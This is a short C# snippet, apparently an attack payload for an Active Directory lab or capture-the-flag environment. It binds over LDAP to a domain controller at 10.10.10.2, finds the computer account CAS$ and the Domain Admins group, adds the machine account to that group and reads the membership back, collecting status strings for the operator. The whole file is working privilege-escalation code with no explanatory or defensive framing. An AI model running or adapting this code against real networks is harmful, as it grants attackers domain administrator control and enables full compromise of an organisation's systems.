using System; using System.DirectoryServices.Protocols; public class G { static string Find(LdapConnection c, string filter){ var sr = new SearchRequest("DC=gemzo,DC=net", filter, SearchScope.Subtree, "distinguishedName"); var r = (SearchResponse)c.SendRequest(sr); if(r.Entries.Count==0) return null; return r.Entries[0].DistinguishedName; } public static string Run(){ string o=""; try{ var id = new LdapDirectoryIdentifier("10.10.10.2",389); var c = new LdapConnection(id); c.AuthType = AuthType.Negotiate; c.Bind(); o+="bindOK;"; string casDn = Find(c,"(sAMAccountName=CAS$)"); o+="casDn="+casDn+";"; string daDn = Find(c,"(&(objectClass=group)(cn=Domain Admins))"); o+="daDn="+daDn+";"; if(casDn!=null && daDn!=null){ try{ var mr = new ModifyRequest(daDn, DirectoryAttributeOperation.Add, "member", casDn); c.SendRequest(mr); o+="ADD_OK;"; }catch(Exception e1){ o+="ADD_ERR="+e1.Message+";"; } try{ var sr2 = new SearchRequest("DC=gemzo,DC=net","(&(objectClass=group)(cn=Domain Admins))",SearchScope.Subtree,"member"); var r2 = (SearchResponse)c.SendRequest(sr2); o+="members="+string.Join(",", Array.ConvertAll(r2.Entries[0].Attributes["member"].GetValues(typeof(string)), x=>(string)x))+";"; }catch(Exception e2){ o+="RD_ERR="+e2.Message+";"; } } }catch(Exception e){ o+="TOP="+e.Message+";"; } return o; } }